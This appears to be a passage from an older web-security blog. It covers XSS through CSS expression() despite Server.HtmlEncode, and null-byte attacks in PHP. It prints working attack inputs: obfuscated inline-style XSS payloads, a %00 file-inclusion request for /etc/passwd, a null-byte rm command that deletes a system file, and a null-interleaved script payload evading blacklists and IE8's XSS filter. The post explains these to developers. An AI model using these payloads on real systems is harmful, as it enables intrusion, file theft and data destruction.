In this example, it is crucial to understand, which characters the Server.HtmlEncode function actually encodes, and understand the context in which the application injects the user input. The application accepts user input and uses the input to build an inline style for a span element. In this context, a malicious user could inject in JavaScript without the use of single quotes, or double quotes as demonstrated by the following examples.

<span style="color: expression(alert(3435849))">Color example</span>

Or the following…

<span style="color: \65\78\70\72\65\73\73\69\6f\6e(\u0061\u006C\u0065\u0072\u0074(3435849))">Color example</span>

While the MSDN article remains popular, Microsoft has chosen not to maintain this documentation, which is a shame because most of the content is fairly informative for developers attempting to secure their code. Anyways, don’t believe everything you read and please use the Anti-XSS library instead of the Server.HtmlEncode function.

No Love for the Null Byte

By | September 22, 2011
Attackers have commonly used the null character to bypass file extension restrictions during the exploitation of local file inclusion vulnerabilities.  rain.forest.puppy outlined this type of attack against Perl-based CGI applications in Phrack issue 55 over ten years ago, but the problem has also affected web applications written in other higher-level languages such as Java, .NET, and PHP.  Consider the following insecure PHP code.
if(file_exists('/tmp/'.$_GET['filename'].'.txt')) {
  include '/tmp/'.$_GET['filename'].'.txt'
}
Clearly, an attacker could abuse the poorly written application to include arbitrary TXT files stored on the web server, which is certainly not good, but until fairly recently an attacker could also include any file regardless of the extension.  Consider the following request an attacker could make to exploit the vulnerability and acquire the server’s password file.
http://www.victim.com/page.php?filename=../../etc/passwd%00
The developers of PHP addressed this issue in version 5.3.4 late last year, and “paths with NULL in them (foo\0bar.txt) are now considered as invalid.”  Finally, the file_exists function operates how most programmers would expect it to function.  File systems, at least NTFS and most Unix file systems, do not allow the null character to appear within a file name, although many other control characters are permitted within file names.
if(file_exists("/etc/passwd\0")) {
  // Dead code in 5.3.4 or later.
  echo 'There isn\'t a file named /etc/passwd\\0 on my server!!!';
}
So can we finally stop worrying about null bytes in PHP?  Not really, the null byte character can still cause issues in a number of other situations.  Consider an application that performs rudimentary input validation to prevent command injection, but still allows the user to type in something like ../etc/passwd\0. Same problem, different function.
// Guess what file gets deleted?
exec("rm /tmp/../etc/passwd\0.tmp");
Attackers could also use null byte characters to bypass black-list filters designed to mitigate the risk of cross-site scripting attacks by blocking specific HTML or JavaScript keywords.  Applications should avoid relying on black-listing to prevent attacks, but Internet Explorer complicates the situation, since IE essentially ignores null byte characters in every single context while rendering HTML, and JavaScript, and therefore we can easily craft a payload like the following to bypass black-list filters that attempts to sanitize input.  Luckily, other browsers simply ignore the null byte shenanigans and the JavaScript fails to execute.
http://target/lameBlackList.php?data=blah%00<%00s%00c%00r%00i%00p%00t%00/%00a%00=%00"%00<blah>%00"%00>%00a%00l%00e%00r%00t%00(%001%00)%00<%00/s%00c%00r%00i%00p%00t%00>
// lameBlacklist.php
$data = $_GET["data"];
$pattern = "/<[[:space:]]*([a-z]|[A-Z]|\/)+/";
$replacement = "denied";
$out = preg_replace($pattern, $replacement, $data);
echo $out;

This example also illustrates one way of bypassing IE8's XSS filter, since the parameter value in the request will not exactly match the parameter value reflected in the response, which is accomplished by adding in an erroneous <blah> element inside of a bogus HTML attribute, since we know the application will attempt to sanitize the input as opposed to outright blocking the malicious request.  Another way to ensure that the request signature will not match the response signature, and bypass the IE’s XSS filter, is to abuse applications that perform output encoding on some characters, such as double quotes, but fail to encode all relevant characters, such as single quotes.  But, I digress...
At the end of the day, null byte characters will continue to cause security issues when software written in higher-level language pass unvalidated user input to software written in C/C++ or assembly.  Higher-level languages such as Java, PHP, Perl, and .NET place no special meaning in a null character, while the null character is used as the string termination character in lower level languages, therefore this mismatch of data representation of strings will often adversely affect security.  Pascal style strings are sounding like a good idea again 🙂